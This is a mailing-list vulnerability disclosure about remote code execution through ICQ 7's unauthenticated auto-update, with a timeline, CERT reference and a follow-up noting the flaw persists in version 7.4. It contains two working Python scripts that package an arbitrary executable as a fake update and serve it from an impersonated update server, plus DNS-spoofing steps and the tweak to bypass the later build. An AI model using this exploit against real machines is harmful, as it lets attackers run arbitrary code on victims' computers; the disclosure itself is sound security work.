[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: Remote Code Execution in ICQ 7



UPDATE:

This week, ICQ 7.4 (build 4561) was released. Even though the original
version of my exploit does not work anymore, the vulnerability was not
resolved: ICQ only changed the product ID that is included in the path
to the update file. If every ocurrence of "30009" in both python files
(see original announcement below) is replaced by "30011" and afterwards,
a new update.xml is generated using build_update_files.py, the attack
will still succeed.

Note to ICQ engineers if they're reading this: To really fix the issue,
introduce cryptographically signed update files.

- Daniel Seither


On 14.01.2011 13:18, Daniel Seither wrote:
> SUMMARY
> 
> The ICQ 7 instant messaging client allows remote code execution due to a
> flaw in its automatic update mechanism.
> 
> 
> VULNERABLE APPLICATIONS
> 
> All versions of ICQ 7 for Windows, up to version 7.2, build 3525 (which
> is the current version)
> 
> ICQ 6 and older versions were not tested.
> 
> Other ICQ clients should not be affected since this is a flaw in the ICQ
> software update mechanism and not in the ICQ IM protocol.
> 
> 
> DETAILS
> 
> ICQ 7 does not check the identity of the update server or the
> authenticity of the updates that it downloads through its automatic
> update mechanism. By impersonating the update server (think DNS
> spoofing), an attacker can act as an update server of its own and
> deliver arbitrary files that are executed on the next launch of the ICQ
> client. Since ICQ is automatically launched right after booting Windows
> by default and it checks for updates on every start, it can be attacked
> very reliably.
> 
> 
> REPRODUCING
> 
> (1) Create the files for the update server (see below,
> build_update_files.py)
> 
> (2) Run a fake update server (see below, run_update_server.py)
> 
> (3) Impersonate the update server. To verify the vulnerability, the
> easiest way is to add an entry for update.icq.com to the victim's
> \Windows\system32\drivers\etc\hosts file that points to the fake update
> server's IP address and clearing it's DNS cache afterwards (ipconfig
> /flushdns).
> 
> The next victim that is affected by the impersonation and that launches
> the ICQ client will now automatically download and install the fake
> update. On the next restart of the ICQ software, the fake ICQ.exe will
> be executed.
> 
> 
> SOLUTION
> 
> Stop using ICQ or switch to another IM client until a fix is released
> since ICQ 7 does not offer to disable automatic updates.
> 
> 
> TIMELINE
> 
> 2010-11-12
> discovered issue
> 
> 2010-11-13
> reported issue to cert.org
> 
> 2010-11-30
> received confirmation from cert.org that they try to contact the vendor
> 
> 2011-01-13
> cert.org publishes vulnerability note because the vendor doesn't react
> 
> 
> REFERENCES
> 
> Vulnerability Note at cert.org:
> http://www.kb.cert.org/vuls/id/680540
> 
> 
> FILES
> 
> === START build_update_files.py ===
> 
> #!/usr/bin/env python
> 
> # ICQ Update File Creator by Daniel Seither (post@xxxxxxxx)
> #
> # Parameter:
> # filename of .exe that should be delivered as an update for ICQ.exe
> #
> # Overwrites ICQ.zip and updates.xml in the current directory
> # without a warning!
> 
> import sys, os
> from hashlib import md5
> from zipfile import ZipFile, ZIP_DEFLATED
> 
> if len(sys.argv) < 2:
>       print "argument missing"
>       sys.exit(1)
> 
> f = open(sys.argv[1])
> payload = f.read()
> f.close()
> 
> payload_checksum = md5(payload).hexdigest()
> payload_size = len(payload)
> 
> f = ZipFile('ICQ.zip', 'w')
> f.write(sys.argv[1], 'ICQ.exe', ZIP_DEFLATED)
> f.close()
>       
> payload_compressed = os.path.getsize('ICQ.zip')
>       
> updatesfile = ('<manifest productid="30009" build="9999" serial="9">'
>       + '<host url="http://update.icq.com/cb/icq6/30009/"/>'
>       + '<file id="31" path="ICQ.exe" hash="%s" size="%s">'
>       + '<file format="zip" size="%s" url="ICQ.zip"/>'
>       + '</file></manifest>'
>       ) % (payload_checksum, payload_size, payload_compressed)
> 
> updatesfile_checksum = md5(updatesfile).hexdigest()
> updatesfile = '<!--%s-->\r\n%s' % (updatesfile_checksum, updatesfile)
> 
> f = open('updates.xml', 'w')
> f.write(updatesfile)
> f.close
> 
> === END build_update_files.py ===
> 
> === START run_update_server.py ===
> 
> #!/usr/bin/env python
> 
> # Fake ICQ update server by Daniel Seither (post@xxxxxxxx)
> #
> # Must be run
> #  * as root
> #  * from a directory containing updates.xml and ICQ.zip
> #    created by build_updates_xml.py
> 
> from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
> 
> class ICQRequestHandler(BaseHTTPRequestHandler):
>       def do_GET(self):
>               if self.path == '/cb/icq6/30009/0/updates.xml':
>                       self._respond_with_file('updates.xml')
>               elif self.path == '/cb/icq6/30009/ICQ.zip':
>                       self._respond_with_file('ICQ.zip')
>               else:
>                       self.send_error(404)
>                       
>       def _respond_with_file(self, filename):
>                       f = open(filename)
>                       self.send_response(200)
>                       self.end_headers()
>                       self.wfile.write(f.read())
>                       f.close()               
> 
> httpd = HTTPServer(('', 80), ICQRequestHandler)
> httpd.serve_forever()
> 
> === END run_update_server.py ===